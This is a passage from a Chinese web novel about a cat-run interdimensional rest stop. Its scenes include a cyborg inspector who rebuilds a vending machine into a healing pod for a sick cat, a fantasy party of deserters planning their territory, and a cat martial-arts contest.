奇幻世界观下的人对于“未知的生命威胁”基本当成吃饭喝水一样的事情,只要不是摆到眼前的威胁,就不会往心里去。毕竟就算在家睡觉,也可能被巨龙一口龙息喷死。
对于艾尔的这句话,卫锦程倒是十分赞同。她看着狸花猫——看着这只从最开始带她来到这个温馨的避难所的猫猫,对它伸出了手。
狸花猫顺势蹭了过去,把小脑袋放到了她手上,和卫锦程对视着,眨了眨圆圆的眼睛。
“如果你只是普通的猫……”
那么,她能坦然认同它只是因为弱小就被打上“该死”的标签吗?卫锦程想了想,长出了一口气。
无法接受,这不对。不过,她接下来要怎么办呢。
“别紧张,不管是多么艰难的生活,总会有音乐诞生的。”乔伊斯笑了笑,温和地开口,“我们的世界都是杀与被杀的世界。你不必为世界的错误负责,只要对自己的身体和灵魂负责就好。对吧,法师。”
突然被点名的艾尔瞥了一眼乔伊斯的耳朵,叹了口气:“……对。法师塔第一课,试图对所有因果负责是极其不合理的行为——不过我个人认为这同样是一种本能的善良。”
说完,他不着痕迹地拨弄了一下头发,眼神示意乔伊斯。后者略微僵了僵,将头发和兜帽拢好,遮住了精灵耳根部的鳞片,感激地点了点头。
每个人都有自己不愿面对的事情。好在,来自不同世界的卫锦程根本没注意到,也不知道混血精灵意味着什么,只是轻声对两人道了谢。
她像是一瞬间温和了许多,想通了很多事。与这两人不同,她人生的前二十年,都是在文明的秩序中度过的。
在文明崩坏后,最痛苦的事情并不是时刻要面临死亡威胁,而是她一直没能接受她的世界中的人们变成了现在这副样子。
这一点人和猫是一样的——越迷茫不安,就越尖锐而具有攻击性。
所以狸花猫可以在客人间自由自在地展现自己柔软的肚肚——它很聪明,很快就就能判断出对面的人是善意还是恶意,并且了解人类的行为模式。
而相对不那么了解人类的小煤球,则很容易在人类贸然接近时炸毛哈气,但在温言谨的不懈努力下,它最近至少开始稍微试着亲近人类了。
“我先走了,有些事情总得了结。”
卫锦程站起身,在狸花猫和黑猫面前放下几个罐罐作为感谢,同时犹豫着看向乔伊斯,最终说道,
“谢谢,我会报答你的……总有一天。”
乔伊斯笑着挥手道别,并没有放在心上。对她来说,这只是漫长旅途中的一个小插曲。
就在卫锦程离开后不久,凯
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桑德拉的声音盖过了风铃先传入了室内,爽利的声音把有些正在眯着眼假寐的猫猫吓了一跳。
“乔伊斯,艾尔,看看我带了谁来了!我们队伍有牧师了。”
牧师泽安德无奈地笑着跟在凯桑德拉身后,进门先和另外两位尚且不熟悉的未来队友打了个招呼,然后蹲下身看着让他辞职的“罪魁祸首”狸花猫。
“小猫老板,最近大家都没有生病受伤吧。”
每次他被猫绑架来这边的时候,都是狸花猫组织所有猫猫乖乖排队,把逃避看病的猫猫抓回来。自然而然的,泽安德也就知道它是这里的管事猫猫了。
对于这四个来自同一世界的人来说,猫猫休息站就是一个适合小队内聊事情,不怕别人偷听的酒馆。不过今天事实上没什么大事,只是泽安德初来乍到,被凯桑德拉带来和其他人熟悉一下而已。
几人闲聊着些客套话,旁边趴了几只和他们熟悉的猫。黑猫黏上了乔伊斯,折耳猫最喜欢给它治疗的泽安德,凯桑德拉投喂猫猫豪爽大方,嘴馋的橘猫最喜欢她,而艾尔则因为身上闪闪的魔法物品而被好奇心重的美短青睐。
猫猫和猫猫之间存在个猫差异,每个猫猫的性格也有所不同,自然会对不同的人类产生比较特别的好奇或亲近。
这不重要,只是惯例进行关于能力和近况的交换而已。毕竟接下来要作为一个小队合作,得清楚知道彼此能做什么与想做什么,才能发挥组队的最大效益。
狸花猫没有去凑热闹,原因很简单——暮时之前跟它说,会有□□局总部的人来匿名实地考察。所以,它要更注意生面孔一点。
虽然暮时跟它介绍正式休息站的好处时,它只是动了动耳朵假装自己在听,其实根本没听,但它姑且记得好像是有不少好处来着。
其中最重要的一条是,正式休息站的员工享有时空□□局每两年一次的全面医疗服务。也就是说,或许能彻底治好折耳猫。
其实猫猫们并不太能理解折耳猫的情况,只知道它全身都时常处于疼痛中,而且折下去的耳朵都不能动来动去,想想就觉得不太舒服。
反正这个月布偶猫旷工了七八天,肯定追不上狸花猫的业绩,所以销冠也就暂时不急业绩的事情了,只是时刻注意着来往的客人。
就像暮时说的,这几天确实分流来了几个新客人。有个莫名其妙拿着锅铲的、有个从售货机兑换了一堆种子抱走的、还有个一直看书根本不理猫的。
休息站客人都很奇怪,不过猫猫不知道什么样的人类才是正常人类,只会一视同仁地接待。
风铃响了,从气息判断似乎是新的客人。狸花猫迈着猫步走出门,却因为闻到了奇怪的味道而忍不住打了个喷嚏。
是某种类似汽油的物质与消毒水混合的气味。它顺着往前看,歪了歪小脑袋——这次来的人身穿着白色制式研究服,一头银灰色的头发像是反射着金属一样的光泽,单从外表看不出生理意义上的性别。
“猫……”这人看着狸花猫,面无表情地点了点头,“客观趋势上来说,大部分类人生物会认同为‘可爱’的物种。”
13. 猫想要,猫得到
“我靠,怎么是这家伙啊?”
看着监控的暮时噌的一下站了起来,有些紧张地皱起了眉头。
换个人暮时都不至于这么担心,但这位来人是时空管理局总部下属技术研究所的所长。
时空管理局总部的人一般都忙得要死,正常没工夫管一个休息站转正的事情。不过这位部长不一样,不是说这人闲着没事做,而是它的——或者说,祂的——生命存在形式不一样。
祂的大脑存在于时空管理局总部某处,同时操纵着数十万具仿生身体。从定义来说,祂大概更符合普世意义的“神”的释义。
“……救世派的疯子。”
暮时无奈地低声骂了一句,但倒真不是对祂有意见,“疯子”只是个客观的描述——祂并不是一开始就是以这样的生命形式存在的。
另一边,狸花猫只是平等地留意了一下这位生面孔,然后在祂的小腿边蹭了蹭,带祂进入室内。
祂如同无机质般没有神采的眼睛划过了微不可察的蓝色数据流,随后俯身抱起狸花猫,轻轻用手挠了挠它的耳后。
狸花猫舒服地眯起了眼睛,轻轻喵了一声。不过祂一副对怀里这只可爱猫猫兴趣缺缺的样子,只是一边随意摸了摸狸花猫,一边环视四周。
从数据来看,这个休息站对能量的使用集中在购买猫猫用品上,但显然,这里的服务对象主要是类人生物。这种错位让祂产生了些许疑惑,因此决定前来看看。
而对于狸花猫来说只有一个想法——这个人,好会摸猫啊!
从所长的角度来说,祂只是普通地调出了猫科猫属动物的数据库,然后对照着分析出了面前的狸花猫的身体数据,并选择了它最大概率喜欢的抚摸方式而已。
祂找了个座位坐下,打量着四周的陈设装潢,简单评估了一下情况。
能量获取效率高得不讲道理,同时只有一些莫名其妙而毫无意义的小额支出。猫罐头、猫爬架、猫窝、猫用支架……
好吧,考虑到这里的员工组成,应该算作合理支出,但这里的设施依然落后到和效率不成正比。
“喵——喵——”
就在祂考虑的这点功夫里,狸花猫已经因为被怠慢了而开始不满地喵喵叫了。它强硬地用小脑袋蹭了蹭祂的手,还把德文猫一起叫了过来。
“……麻烦,你们不是员工吗,怎么让我伺候你们?”
“喵!”
狸花猫一声令下,所长就被所有空闲的猫淹没了。
“放开我,压到我大腿的血液循环系统了,再这样下去,五个宇宙标准分钟后,仿生部件就要因为供血不足而出现知觉模拟障碍了。”
所长面无表情地看着自己腿上的三只猫,语速极快地说道。用人话来说——猫好重,要把腿压麻了。
狸花猫好像听不见祂的话一样,执着地蹭了蹭祂的手指要求抚摸。来到这个休息站的人,都得听猫猫的。非要说的话,猫猫还让客人花钱喂它们呢。
无法协商。
暮时无奈而好笑地看着这位高层人员不情不愿地开始摸这里的猫猫们,摇了摇头。
到底能不能行啊……都说这位技术研究所的所长是最像人类的机器人,一般来说只要数据分析过关就行,但也不排除祂分析出什么奇怪的结论,直接一票否决不予通过。
其他同等级的人都不一定有这个权限,但这位所长确实有。要说原因……
“你的体重超过了同类均值的26%,建议减重。”祂托了托橘猫,笃定地说道,“另外,那边的猫爬架边缘抓网有磨损,可能导致攀爬时无法抓牢,但考虑到你们的生理结构,倒也不会造成事故。”
因为这个人说的话从未有过出错的记录。祂理论来说并没有一票否决的权力,但只要祂提出了确切的意见,基本都会被采纳。
不过这位现在连裤腿都被猫扯住了,正在做猫猫的按摩苦力。祂在心里暗叹了口气,腿上挂着猫,拖着身子走到自动售货机面前,抬手在不同部位敲了几下。
基础设施正常运作,空间折叠技术无异常。例行检修到位,无安全隐患。
运营方式暂时无法理解,但有效,考虑浅层原因是人类对于猫科动物的普遍喜爱偏好,深层原因未知。不过数据来说,确实过关了。
祂想到暮时传到总部的那份亮眼的业绩表,不由得轻笑了一下。管它是人是猫,能干活就是好智慧生命。
如果可以的话,说不定之后还能全面推广一下,也不枉费祂设计的那堆猫猫友好型设施,还时不时接到一串只有“喵”的语音要求。
……但是能不能别缠着祂非要让祂摸了,祂除了大脑以外的身体部分都是仿生机械制品,对猫实在是没有兴趣。
“喵——喵——”
但喵儿哇乱叫的猫实在有点吵,加上祂腿上挂了好几只猫,就算想跑路也不好跑,只能蹲下身继续给猫当苦力。
这样下去不是办法。祂看了一眼售货机,把自己的小拇指拆下来扔进了售卖口换成猫猫币,随后在屏幕上点了点,选了根逗猫棒。
访问数据库查询猫科猫属动物的捕猎行为相关资料,计算主要猎物的运动轨迹,模拟输出……
祂握着逗猫棒,抬手甩了甩,在吸引了大部分猫猫的注意力后,将逗猫棒往远处一扔,随后趁着猫猫扑向逗猫棒的空挡,赶紧向门口冲去。
暮时坐在监控前很不厚道地笑出了声。没办法,宇宙中不管哪个角落的哪个智慧生命,都喜欢看上司吃瘪。
等会,狸花猫呢?
暮时站起身贴着监控仔仔细细把休息站里的猫数了一遍——九、十、十一……
猫呢?!
另一边,所长正坐在跨次元载具上,和自己裤腿上扒拉着的狸花猫面面相觑。
祂叹了口气,抱起了这只猫,轻轻摸了摸它的头,随后抬手按了按自己的耳后部位,打开了翻译功能。
“你到底要做什么?”
“喵……”
“你猜出我是审查员还来烦我,不怕
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降低我的印象分吗?”
所长抱起狸花猫,疑惑地看着它的眼睛。虽然祂作为几乎脱离了碳基生命的存在确实没有印象分这种东西,但按理说,都没晋升成正式休息站的猫猫管理员应该不会知道才对。
“喵。”
“医疗的事情去找你这边的负责人申请,等你们获批升级为正式休息站后,再等两个宇宙标准月……”
“喵……”
“遗传性软骨病,尾巴僵硬无法摆动,四肢肿胀?能治,治完就好了,别担心,去申请排队吧。如果它快死了,那么可以走加急通道。除此之外一切按流程走。
治疗术逐渐无法缓解……首先你为什么会治疗术?这么看着我也没用,我不可能帮你们插队的,程序正义才是正义。”
所长给载具上了安全锁后,把猫随手放到面前的载具操作台上,认认真真地继续解释道,
“你说的那只折耳猫,从普遍价值标准来说,确实可以评定为‘很可怜’,但我帮你们插队,就有其他人需要多等一段时间。
出于个人认知而做出的结果正义,最终都可能导致更麻烦的不可测问题,说到底是一种出于道德私欲而获得自我精神满足的自私举动,明白了吗?”
如果暮时能听见这里的谈话,她估计会立刻吐槽一句——这人叽里咕噜地跟一只猫说什么呢。
狸花猫确实听得一知半解,但它至少明白自己被拒绝了,边垂下了耳朵,低落地喵了一声,尾巴也垂了下来,有气无力地摆了摆。
“听明白了的话,现在我要进行我的个人行为了。那个自动售货机的零件就够用,你们自费购买适配老式治疗仓的修复液和营养液。”
祂说完,从下方不知哪里掏出了一些工具,另一只手拎着狸花猫,回身往猫猫休息站门口方向走去,
“改装费就免了,我不需要一群猫给我付费。另外,禁止你和你的下属继续刚才那种阻拦我离开的行为。”
面对着狸花猫疑惑的眼神和询问,祂走进了门,把它放回了桌上,随后拎着工具耸了耸肩,语气终于有了一点人性化的起伏,
“规矩是死的,我也不算是活的,但我的业余爱好恰好是莫名其妙把一台自动售货机改装治疗仓,然后再改回来——有意见吗?”
暮时看见这人开始动手拆售货机,又看了看刚刚走完快速程序发到她终端上的临时改装审批决定,叹了口气。
谁敢和这位大佬计较,祂做事根本不留任何逻辑漏洞,并且绝对都留了清晰可查的记录。计较起来,怕不是让祂先用数据库把自己扒光了。
“喵。”
“不要得寸进尺,给你做一双能摸自己的手不在我的工作范围内,而且成为一只长着人手的猫对你的工作没有好处。”
祂身边围着一群喵来喵去的猫,应答的语气逐渐从公式化的无感情变成略带一丝无奈。
就在这时,门口的风铃响了起来,这次来的显然是一位熟客,在狸花猫或布偶猫引路之前就自己走了进来。
14. 痛苦好像无处不在
顾行今天是自己来的。温言谨正在和学校的手续事务战斗,暂时抽不开身。
他看到一个陌生人在拆自动售货机,周围的猫猫还围着不停转来转去喵喵叫,忍不住有些戒备,谨慎地出言询问:
“你好,请问……这是在做什么?”
所长抬头扫了一眼顾行,随后又低下头继续手头的工作。
“……显而易见,我在给猫当苦力。”
一听到这种无奈的语气,他便放松了点,再看狸花猫迅速摆出了营业姿态喵喵地跑了过来,就知道没什么事了。
只是又有人被猫欺压了而已。很遗憾,猫在宇宙的每个角落都是可爱的小混蛋。
顾行对祂抱歉地笑了笑,道了歉,然后坐回了座位,心中暗暗放心了些。
这不是很普通地有人在进行维护嘛,温言谨还说这里是什么异空间站,果然是又在忽悠人吧。
想起上次来店时和温言谨进行的对话,顾行不禁摇了摇头,对自己一瞬间竟然真的相信这里是超自然存在而感到有些好笑。
…………
“真的!不是,你不觉得这里的猫猫都聪明地过分吗?”
温言谨皱起眉头,托起狸花猫据理力争道。狸花猫配合地喵了一声,语气中还带点自豪。
虽然不知道他们在干什么,但她说它聪明诶——猫猫会从容地接下所有夸奖。
“有些动物就是很聪明,之前还看到有边牧能用发声按钮说话呢。”
“那这个售货机……你想,这种以物换物的运营模式怎么看都不对吧。”
“买的不如卖的精,我们毕竟是消费者,这是商家要操心的事情吧。反正如果亏本,早晚就关门了。”
顾行托着腮笑了笑,还以为温言谨又在捉弄他。
温言谨无奈地摇了摇头,也知道这种事情不好证明:“你这家伙……算了,早晚有一天你会知道的。”
…………
“果然,哪有那么不唯物主义的事情啊。”
“唯物主义的部分我同意。不过,以你们世界的认知发展水平来说,这里的存在大概确实是非科学的。”
所长拆完了自动售货机,一边开始组装零件,一边毫无感情起伏地接话道,
“魔法水平低,武力水平低,科技水平也低,几乎只是在起步状态……但也幸亏这样,你们才会比其他世界的人更坦然地认同‘人人平等’这种观念,从而引发不同的思考。”
毕竟在一个强者一拳能把一座山打爆,弱者却连锄头都拿得费劲的世界里,“人人平等”这种话听起来像不好笑的笑话一样。
说完,祂伸展了一下这具仿生身体,顺手把脑袋摘了下来递给他。
三秒钟后,尖叫声充斥着狭小的休息站,祂提前预料到并捂住了耳朵,而听觉更为敏锐的猫猫们则被吓成了飞机耳,大多数猫猫都将耳朵背了过去,试图关上耳朵隔绝声音。
“安静点,吵到猫了。”祂叹了口气,又把脑袋安了回去,转了转脖子给他看,“只是技术性调整,别大惊小怪。”
“不是,这是什么情况,魔术?恶作剧?别吓我啊,我心脏不好。”顾行捂着心脏,咳嗽了几声,有些惊魂未定,“现在你可以告诉我是什么情况了吗?”
但眼看着这人都快要把贝○塔用的治疗舱搓出来了。这种情况下,顾行无论如何也没法再说服自己认为这是温言谨找来逗他玩的人。
“……赛亚人?”
所长听到这话,又更深地叹了口气:“类比也要讲基本法。根据我的数据库,赛亚人是你们世界里漫画作品的虚构物种,暴躁好战而不善科学技术,通过殖民获得科技。让我殖民你们获得科技?无意冒犯,但你会到树上跟猴子抢香蕉吗?”
说完,祂拍了拍手,站起身。狸花猫叼着一袋密封包装的绿色液体,绕着祂的小腿转了转。
一旁的折耳猫则有气无力地“坐”着,尾巴僵硬得像根棍子一样,四肢关节处都有些不自然的肿胀。
最近折耳猫的病情越来越严重,即便吃了自动售货机里的软骨素,被狸花猫拍了好几个治疗术,也只能暂时缓解一下痛苦。并且,疼痛暂时消失之后,体验过正常行走的感觉,它反而更加无法忍受疼痛了。
正是因此,狸花猫在判断出面前这人是审查员后,才审时度势试图向祂求助。虽然过程和它想象得不太一样,但好歹最后达成了目的
“治疗术的本质是‘恢复结构的有序性’,理论来是是针对伤口使用的,因此一定程度上能缓解它的问题,但无法根治。”
开始做正事后,祂就不再管那边的顾行,只是低头跟狸花猫解释道,
“基因病非常麻烦,因为这意味着生物从出生开始,生命结构秩序就根本不一样。修复结构和重构结构的难度根本不是一个量级。”
“喵。”
“我知道,骨头的疼痛从它出生起就从未停止,活着没有一刻是不痛苦的。而这种痛苦,最初只是为了让耳朵折下来,在人类眼里看起来更可爱。”
祂的语气依然很平稳,没有一丝一毫的气愤,也没有任何悲伤的情绪,像是在阐述“太阳从东边升起”一般的客观事实,
“一切智慧生物的痛苦,都是通往最终理想前无法避免的阵痛,不必放在心上。以时间维度来看,个体的痛苦连一粒沙子都算不上。”
这次暮时听见了,并且在便利店开口吐槽道:“……这人叽里咕噜地跟猫说什么呢。脑子真的没问题吗?”
果然,狸花猫打了个哈欠,圆溜溜的眼睛心不在焉地开始左顾右盼。
与其他猫猫相比,狸花猫已经是相当聪明而狡猾的小猫了,但试图让猫理解这样的宏大叙事……只能说祂确实是客观意义上几乎脱离了碳基生命的存在。
“抱歉打扰你们,虽然我还没太明白,但是我觉得对个体来说,它的世界就是痛苦得无法承受。你说‘因为有伟大理想所以不必放在心上’这种话,对现在的痛苦未免太不公平了。”
顾行突然出言介入了对话,有些紧张地避开了所长投来的冷淡目光,
“就像明亮的恒星和瞬间燃烧的流星都值得观测一样,我觉得不应该把远大理想和现在的痛苦分个高低。
……而且,你现在是要帮这个小家伙治疗对吧。如果真像
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你说的那样,你不放在心上的话,那你应该根本不会对痛苦有这样‘看不过眼’的想法。”
祂没有接话,只是歪了歪头:“在个体差异度远小于均值的世界,果然偶尔会有人说出些幼稚又有意思的话。我喜欢你们提出的这种我无法反驳的感情叙事,总让我想起我还是碳基生物时的故人。”
说话间,适用于猫猫体型的治疗舱已经自检完毕了。祂转身敲了敲设备,把那袋绿色的治疗液倒了进去,盯着折耳猫分析了三秒钟后,选择了最不让它疼痛的角度和力度将它抱了进去。
“让它撑到总部通过医疗申请应该不成问题。另外,我撤回刚才那句‘不必放在心上’。你……手术顺利。”
祂看着顾行惊愕的眼神,抬手按了按自己的左太阳穴,站在原地打量着他,仿生瞳孔中闪过微光,
“大动脉转位,属复杂先天性心脏病。从原本的推演来看,你因为先天性心脏病而不能有过激情绪,渐渐养成了不发脾气的温和性格,在第三次手术时,你会……”
祂的话语停顿了一下,不着痕迹地看了一眼绕着祂腿边喵喵叫的狸花猫,又继续用平铺直叙的语气说道,
“你会手术成功的。不过抱歉,我们有不干涉低等文明发展协议,帮不了你。”
“不……没关系。不如说,谢谢。虽然我不知道你说的‘推演’是什么,是不是和占星差不多……”
顾行挠了挠头,露出了松了口气般的笑容,
“但说真的,我每次接到手术通知就开始害怕,害怕到睡不着,一直整夜整夜看星盘。被你这么一说反而冷静了些,说不定今天能睡个好觉了。”
不管眼前这位是什么来头,怎么看都是什么远超他理解的存在。既然祂这么说,那或许真的有希望吧。
说完,他看那座适配猫猫体型的小治疗舱旁边跳出了近两个小时的计时,便站起身,摸了摸又跳到自己身前的狸花猫,
“看来这次我没法付款买罐罐了,下次……之后我一定会来的。”
等到顾行出门后,祂双手抱在胸前,看了一眼狸花猫:“你让我说这些,是临终关怀?”
“……喵。”
“我知道,以他为主角的故事,目前推演为以死亡结束的、关于病痛与生命意义探讨的悲剧。”
祂靠在墙边,语气听不出情绪,
“而在另一位女性观测个体——温言谨的故事中,这个人会成为一个遗憾。就是这样,无聊而俗套的故事,宇宙的每一个角落都在发生。”
“喵。”
“不行,违反不干涉低等文明发展协议是绝对禁止的行为,没有人能为不可控的文明失衡可能负责。”
祂摇了摇头。聪明的狸花猫听这口风,便知道没有回转的余地了,只得略带担忧地看了看门口,甩了甩尾巴。
“但智慧生命的主观是宇宙的真随机数。如果他没有首先跟我说那些话,如果你没有劝阻我,我一定会直接告知他手术失败的概率。”
这位所长倚靠在墙边,突然深深叹了口气,
“……这种真随机数造成了靠理性无法穷尽的变量,是我无能。”
15. 要好好吃饭啊
折耳猫的耳朵治疗完后就立起来了,开心得它到处跑着撒欢,硬生生把陪玩的狸花猫和奶牛师傅都累了个够呛。
虽然现在还只是暂时的,但去总部接受治疗后,它就永远是一只立着耳朵的、可以到处跑跳的快乐猫猫了。
而所长?把治疗舱复原成自动售货机后就跑路了。开什么玩笑,再不跑等着被猫压扁吗?
碳基生命会觉得祂不识好歹,居然拒绝一群小猫咪,但祂基本已经成为了硅基生命,对热乎乎毛绒绒的猫生理意义上就没有兴趣。
橘猫在角落里正吃着罐罐,却看见狸花猫在自动售货机上用猫爪拍了拍,随后角落里突然出现了一台类似体重秤的东西。
研究所出品尖端科技,可以一键扫描身体状况进行基本的体检。狸花猫先轻巧地跳了上去,舔了舔爪爪。
“8.2斤,身体指标一切正常。舔毛频率偏高,为规避可能的化毛问题,日常可增加猫草或化毛膏的食用。”
销冠对自己的漂亮毛毛有这样那样的严格要求,再加上营业积极,所以有事没事就要时刻舔舔毛。听到这个消息后,狸花猫便迈着步子到窗台边啃公共猫草了。
猫猫们在体检秤前喵喵喵地排了长队。在牧师泽安德和学会了治疗术的狸花猫的照料下,大家大都是身体健康的小猫咪。
只是,轮到橘猫的时候,稍微出了点小问题。
“13斤,需要注意控制体重。根据骨架大小判断,10斤左右为正常目标。”
橘猫有些不服气地喵喵叫了几声,绕着旁边正揣着爪爪趴着的无辜布偶猫转了几圈。
这家伙都14斤了诶!
布偶猫打了个滚,棉花般的毛毛飘来飘去,让橘猫打了个喷嚏。
显然,棉花团子只是毛多骨架又大而已。猫与猫之间有个猫骨架差异,不同种猫就不用说了,即便是同种猫,肥胖的标准也未必完全相同。
虽然这里没有可供咨询的宠物医生,但好在还有宇宙尖端科技可以弥补这一点。
剑士凯桑德拉来店的时候,发现一直绕着她要食物的橘猫有些恹恹的,便对狸花猫招了招手。
“小老板,这个小家伙怎么了?生病了吗?”
“喵。”
狸花猫歪了歪头,转身跳到了体检秤上,并在语音播报到体重部分时超大声喵喵叫。
凯桑德拉看了看橘猫,橘猫看了看凯桑德拉,有气无力地喵了一声。
“听着宝贝,少吃饭是很难受的。”凯桑德拉揉了揉橘猫的小脑袋,认真说道,“多吃饭才能身体好,你看我,小时候吃别人两倍的饭,这才长到6’3这么高的。’”
一米九的剑士两米的巨剑,一眼看去便充满了力气和手段。
“而且你长得就像个面包,一看就应该多吃饭啦!”
说完,凯桑德拉便将金枪鱼罐罐拍到了桌上,
“大不了之后和我去锻炼吧,小老板之前带我去看过你们这的训练室了,还不错。”
“喵!”
面包……不是,橘猫振奋地喵了一声,毅然决然地以吃断头饭的气势开始吃罐罐。
而凯桑德拉托着腮,另一只手摸了摸吃得正香的橘猫,开心地笑了笑。
“对,能吃饭的时候就要尽情吃,能喝酒的时候就要尽情喝。不管遇到什么问题,只要还能吃下饭就一定能解决。”
喜欢看猫猫吃饭是人之常情,不过她也不是真的准备溺爱橘猫让它越来越胖,而是等它吃完消化了一会后,真的捞起猫去锻炼了。
如此日复一日,在时间鼓动了几个周期后,橘猫变成了一只……依然很重但超硬的猫!
超硬是字面意思的超硬,虽然毛毛还是软软的,但用力捏一捏猫猫的话——是腱子肉!
体检秤沉默了一会,报出了体脂率健康的结果。猫猫重,但猫猫特别结实。
就在小队的其他三人无奈地看着凯桑德拉大笑的时候,狸花猫叼着几张传单一样的东西跳到了桌上,轻轻放在几人身前。
——“猫猫武道大会将于本周日举行,欢迎感兴趣的客人前来观赛。”
传单上的字歪歪扭扭得有些可爱,旁边按了几个大大小小的猫猫爪印。
商机,销冠看到了商机。瓜子饮料矿泉水,花生瓜子八宝粥。
本来狸花猫还想设置让大家打榜支持喜欢的猫猫,但又一想,这样的话人气低的猫猫会伤心的。反正只是店内娱乐活动,大家开心比少赚点更重要。
传单反面注明了一句——“本店活动不会有任何猫猫真正受严重的伤,仅为表演性质比赛,请放心”。
凯桑德拉走过来,一手揽住吟游诗人乔伊斯,俯身看了眼传单,眯起眼笑得更开心了。
“好啊,小老板,到时候让我们的牧师负责做医护人员吧。泽安德,怎么说?”
“我当然可以,不过……”泽安德无奈地笑了笑,指了指狸花猫,“不一定需要用到我,这个小家伙可是个天才。”
“喵。”
狸花猫应声自豪地伸出爪爪,粉粉的肉垫上泛起了些许跃动的细小光点。
这下把其他三人吓了一跳,抬头看了看笑着的泽安德,张了张口。
“所以你们教会……”
“我管他们死不死呢,早就看他们不顺眼了。”这样说着,泽安德叹了口气,托着腮看着凯桑德拉,“还是说,队长,因为这种原因叛逃不符合我们小队的标准呢?”
“哪的话,我看你太适合我们了!我本来还在奇怪为什么你叛逃了还能使用治疗术呢,这下好了。”
凯桑德拉揽着乔伊斯笑了笑,挨个指了指,
“你看我们,叛逃剑士,叛逃精灵,叛逃法师,现在居然都有了叛逃牧师了,日子真是一天比一天精彩。”
“喵。”
“好啦小老板,这里没你的事,你还是只好猫猫,别学我们这群坏人。”
凯桑德拉搓了搓狸花猫的猫脸,后者不满地跳走去找德文猫帮忙舔自己够不到的毛毛了。
法师艾尔叹了口气,摇了摇头:“所以队长,我们下一步要怎么办?我们救下来的奴隶客观上能力都不强,用处不大。而且,不是说我们救了他们,他们就一定听我们管理。”
“艾尔,人也不能用‘用处’衡量吧。”乔伊斯在凯桑德拉开
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口应答前便摇了摇头,皱起了眉,“他们只是想有地方种地吃饭,我们现在占领的这座山不是正能容纳他们吗?”
“我说的用处是,能够维持我们领地存在并持续运转的‘作用’。现在他们的健康问题算是被泽安德解决了,但有一部分人并不愿意工作,甚至认为我们同样在压迫他们。”
艾尔掏出了一个水晶球放在桌子上,轻轻抚摸了几下,留影水晶球便显示了一段画面。
画面上奴隶打扮的人正和凯桑德拉对骂着,他们认为小队的人救他们是不怀好意,拒绝接受管理并且声称小队没有权力赶走他们。
“我的建议是赶出去,对于这种人,我们已经仁至义尽了。如果不愿意离开,那就杀几个,其他的自然就知道逃了。”
艾尔的语气还算冷静,但听得出稍微有些厌烦。
“但是,他们也只是有些惊魂不定吧,毕竟被抓走当奴隶的人,警惕一点也正常。”
乔伊斯的手无意识抓紧了手风琴,声音越来越轻,
“我负责再去跟他们沟通一下,不行的话……”
“不用,我去沟通保证就什么问题都没有了。”凯桑德拉笑着拍了拍身边的巨剑,“要我说,乔伊斯,你和艾尔都太瘦弱了,镇不住场也正常。”
又跳回桌面的狸花猫抬起小脑袋看了看放在桌边的巨剑,后腿一用力,跳到了剑柄上,四只爪爪挤在剑柄末端,晃晃悠悠地站着。
“诶呦,小老板,这可不是玩具,被压到就麻烦了。”凯桑德拉抬手把狸花猫抱了下来,然后单手拎起两米的巨剑放到了门外。
这可是奇幻世界的“真理”,不是能随便给猫玩的东西。
“艾尔,我理解你的观点是合理的。不过,我们小队本来的目标就是‘让更多人吃饱饭’,所以麻烦你以这个为前提再考虑一下吧。”
凯桑德拉抱着狸花猫走了回来,目光坚定地笑道,
“无论是坏是蠢还是无知,所有人都得吃饭。我们不能和害怕吃不饱饭的人谈任何道德与律法,这太不公平了。”
“我知道了,无可救药的理想主义者们……”艾尔揉了揉太阳穴,转头看向安安静静的泽安德,“你的要求一起说出来,我回去要做领地规划。”
“我?我觉得挺好的。”泽安德轻轻眨了眨眼,托着腮想了想,“不过我想问一下,你们介意我散布信仰吗?”
“你不是叛逃了吗?”
“我是从教会叛逃了,又不是失去信仰了。现在的教会也配谈‘信仰’吗?太阳的光应当是平等的,而不是只撒给贵族和有钱人。”
泽安德笑了笑,看向了提出问题的凯桑德拉,
“向善、治愈与新生才是信仰应当给予人们的力量。正好,我想顺便向大家展示一下,像我这样从教会叛逃的牧师居然甚至还能使用群体治疗术这件事。”
“哇,人越安静坏水越多,这是把教会往死里整啊。”凯桑德拉拍了拍泽安德的背,眯起眼睛笑了,“不过猛戳教会肺管子这件事,我举双手支持。”
狸花猫安安静静地听着四人的聊天,歪了歪小脑袋,耳朵动了动,不知道又在想什么。
16. 切磋
今天猫猫休息站内,猫猫们正在……对长棍面包进行猫猫拳击!
研究所出品尖端科技——击碎后会掉落冻干的硬质长棍面包形状外壳,是一种寓教于乐的食玩。
当然,那位所长怎么看也不会主动做这种莫名其妙的发明,是凯桑德拉在自动售货机的用户意见板块提交的。
接到这个请求后,祂能快速处理百万人份信息量的大脑思考了足足三秒,随后得出了结论——碳基生命就是这么莫名其妙。
不过用户需求还是会做的,最终的成品甚至贴心地附赠了硬度调整系统。以一只自然状态下三低世界的狸花猫能够用猫猫拳打碎为一猫猫力基准,用户可以购买不同猫猫力的硬质面包外壳冻干。
温言谨来到店里的时候,看见大家正在喵喵喵喵地用猫猫拳击打着长棍面包,脑子短路了一瞬间。
昨天顾行在住院前帮她看了看星盘运势,顺便开玩笑似的占星,说她今天会碰到非常奇妙的事情,但也没说是会看见猫和面包搏斗啊。
好消息是,顾行同时还说她最近会有横财。温言谨正在考虑待会要不要去买个彩票之类的。
小煤球努力叼着猫猫武道大会的宣传单,挣扎着在温言谨脚边喵喵叫了几声。
温言谨一只手放在小煤球身前,等它慢悠悠地跑到她手心上后,另一只手才捡起传单看了看。
“猫猫武道大会……你打狸花猫,真的假的?”
“喵。”
小煤球用爪子扒拉了一下传单反面,温言谨看到了反面的表演赛承诺后,这才松了口气。
狸花猫就不提了,销冠能文能武。就说那只巨大的布偶猫,看着最起码有五个小煤球那么重,一屁股坐下来就不用比了。
“喵!”
“好,五猫之力,再试试这个!”
凯桑德拉正在看着橘猫击打长棍面包,远远看去像是胖面包在和长棍面包战斗。
在橘猫打碎一个后,凯桑德拉立刻又放了个更硬的长棍面包过来。击碎面包后,冻干落了一桌子,有些掉到地上的就被路过的其他猫顺嘴吧唧吧唧吃了。
这对吗?为什么这个人在这么认真地教小猫咪拳击?
但温言谨自从意识到这个休息站来头不一般后,也没有贸然出言吐槽,只是默默观察着情况。
奇装异服的外国面孔……对了,为什么她之前都没有想过,她是怎么能听懂这些人说话的。他们说的语言显然也不是本国话。
温言谨感觉像是在梦中一样,恍然间才意识到自己莫名其妙听懂了奇怪的语言。
而旁边一位面容更类似于本国人,看上去也很正常的、沉默寡言的女性让温言谨稍微放心了点——这里应该也是有同类的。
